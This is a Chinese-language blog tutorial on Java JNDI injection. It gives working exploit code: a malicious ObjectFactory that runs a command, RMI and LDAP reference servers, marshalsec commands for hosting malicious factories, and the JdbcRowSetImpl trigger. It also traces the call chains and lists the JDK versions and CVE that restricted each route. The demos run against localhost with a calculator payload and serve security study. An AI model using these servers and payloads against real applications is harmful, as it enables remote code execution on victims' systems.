版本限制

在这里插入图片描述

恶意RMI Remote类(应用受限)

原理

codebase是一个URL、引导JVM查找类的地址

Client在lookup加载过程中会先在本地寻找Stub类,如果没有找到就向codebase远程加载Stub类。

若设置codebase为http://foo.com,加载com.test.Test类时便会下载http://foo.com/com/test/Test.class

那么只要控制Server端的codebase(修改Client端的codebase地址),就能给Client完成注入。

注入步骤

  1. 攻击者将恶意Remote对象绑定到Server端的Registry
  2. Remote类放在服务器上,然后设置Server端的codebase地址(java.rmi.server.codebase属性)
  3. Client在lookup时找不到该类就会向远程codebase加载恶意Remote对象

限制

官方基于此攻击手法设置了防御手段,必须满足以下条件才能完成攻击:

  • java.rmi.server.useCodebaseOnly为false

5u45、6u45、7u21、8u121开始,java.rmi.server.useCodebaseOnly的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。

这种方法用途不是很广

恶意ObjectFactory工厂类

JNDI通过对象工厂(ObjectFactory)来实现动态加载对象

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。

绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

创建对象工厂需要实现ObjectFactory接口的getObjectInstance方法,在这个方法中插入恶意代码即可

package JNDIInjection.evilObjectFactory;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilObjectFactory implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("done");
        Runtime.getRuntime().exec("calc");
        return null;
    }
}

RMI + Reference

原理

给RMIServer绑定Reference对象,当RMIClient获取这个对象发现是Reference类型时、若允许远程加载便会加载恶意对象工厂调用getObjectInstance方法

攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制

攻击者扮演Server端,受害者正常扮演Client端

代码实现

攻击者首先给RMIServer绑定恶意对象工厂,Reference需要wrapper转换成可以绑定的对象。该而对象工厂需要提前编译为class文件,在新建Reference对象时通过URL索引,这里用file协议

package JNDIInjection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        String className = "JNDIInjection.evilObjectFactory.EvilObjectFactory";
        String url = "file://C:\\xxx\\EvilObjectFactory.class";

        LocateRegistry.createRegistry(1099);

        Reference reference = new Reference(className, className, url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        Naming.rebind("hacked", referenceWrapper);
        System.out.println("rmi://127.0.0.1/hacked is working...");
    }
}

受害者是Client端,lookup即触发RCE

package JNDIInjection;

import javax.naming.InitialContext;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1/hacked");
    }
}

在这里插入图片描述

marshalsec构建恶意rmi服务

把编写的恶意对象工厂的包名去掉,编译为class文件
在这里插入图片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#EvilObjectFactoryExploit 6666

然后起一个http server在80端口,把这个恶意工厂放上去

python -m http.server 80

受害者lookup任意name都能触发
在这里插入图片描述

限制

JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false

  • 客户端com.sun.jndi.rmi.object.trustURLCodebase设置为true
debug追函数

追一下lookup函数,在GenericURLContext中,来到了var3.lookup()
在这里插入图片描述
然后调用了var3的this.registry.lookup,这个函数与Server完成交互与反序列化操作,最后调用了decodeObject
在这里插入图片描述
decodeObject对绑定了Reference且信任远程codebase时:调用了NamingManager的getObjectInstance
在这里插入图片描述
如果Reference有工厂类,那么实例化该工厂类、调用我们重写的getObjectInstance方法
在这里插入图片描述
最后就来到了RCE部分(由于是本机debug可以追到这个地方)
在这里插入图片描述

调用链
InitialContext.lookup()
GenericURLContext.lookup()
RegistryContext.lookup()
RegistryContext.decodeObject()
NamingManager.getObjectInstance()
EvilObjectFactory.getObjectInstance()

在这里插入图片描述

对象工厂RCE的触发位置

NamingManager.getObjectFactoryFromReference之中对工厂实例化了
在这里插入图片描述

那么可以在编造恶意对象工厂时:把RCE代码插在构造方法、静态代码块,以及被调用的重写getObjectInstance之中,都可以达到RCE
在这里插入图片描述

JdbcRowSetImpl触发注入

Matthias Kaiser(@matthias_kaiser)发现com.sun.rowset.JdbcRowSetImpl类的execute()也可以触发JNDI注入

package JNDIInjection.RMI;

import com.sun.rowset.JdbcRowSetImpl;

public class JdbcRowSetImplRMI {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://127.0.0.1/hacked");
        jdbcRowSet.execute();
    }
}

在这里插入图片描述
JdbcRowSetImpl.execute首先调用prepare()
在这里插入图片描述
然后调用connect()
在这里插入图片描述
初次链接conn为空,然后就会执行InitialContext.lookup(),因此只要JdbcRowSet.setDataSourceName("rmi://xxx/yyy")把数据源地址设置为恶意Server端即可
在这里插入图片描述
这也是fastjson的注入原理

LDAP + Reference

原理

原理与RMI协议基本一致,不受com.sun.jndi.rmi.object.trustURLCodebase等属性的限制

LDAP服务器可以返回恶意工厂,通过以下字段指定:

entry.addAttribute("javaClassName", "a");
entry.addAttribute("javaFactory", "a");
entry.addAttribute("javaCodeBase", url);
entry.addAttribute("objectClass", "b");
maven依赖
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
    <scope>test</scope>
</dependency>
代码实现

攻击者起一个ldap服务器然后绑定Reference对象

  • 编写private static class继承InMemoryOperationInterceptor,自定义ldap操作拦截器
  • 配置监听选项ldap config
  • 创建ldap服务对象并开启监听
package JNDIInjection.ldap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class LdapServer {
    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("127.0.0.1"),
                389,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()
        ));
        config.addInMemoryOperationInterceptor(new OperationInterceptor());
        InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
        directoryServer.startListening();
        System.out.println("ldap://127.0.0.1:389/hacked is working...");
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor{
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            String className = "JNDIInjection.server.EvilObjectFactory";
            String url = "file://C:\\xxx\\JNDIInjection\\server\\EvilObjectFactory.class";

            Entry entry = new Entry(base);
            entry.addAttribute("javaClassName", className);
            entry.addAttribute("javaFactory", className);
            entry.addAttribute("javaCodeBase", url);
            entry.addAttribute("objectClass", "javaNamingReference");

            try {
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

受害者lookup,URLldap://URL/xxx,其中xxx任意均可完成注入

package JNDIInjection.ldap;

import javax.naming.Context;
import javax.naming.InitialContext;

public class LadpClient {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1/hacked");
    }
}
marshalsec构建恶意ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#EvilObjectFactoryExploit 6666

这次不用起http server了
在这里插入图片描述

限制

在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

  • com.sun.jndi.ldap.object.trustURLCodebase设置为true
调用链
InitialContext.lookup()
ldapURLContext.lookup()
GenericURLContext.lookup()
PartialConpositeContext.lookup()
ComponentContext.p_lookup()
LdapCtx.c_lookup()
DirectoryManager.getObjectInstance()
EvilObjectFactory.getObjectInstance()

在这里插入图片描述

JdbcRowSetImpl触发注入

在这里插入图片描述

参考

如何绕过高版本 JDK 的限制进行 JNDI 注入利用
技术专栏 | 深入理解JNDI注入与Java反序列化漏洞利用
JAVA JNDI注入(一)
java-jndi注入知识详解

欢迎关注我的CSDN :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/122474071
版权声明:如无特别声明,本文即为原创,转载时须注明出处及本声明

本内容为合法授权发布,文章内容为作者独立观点,不代表开发云立场,未经允许不得转载。

CSDN开发云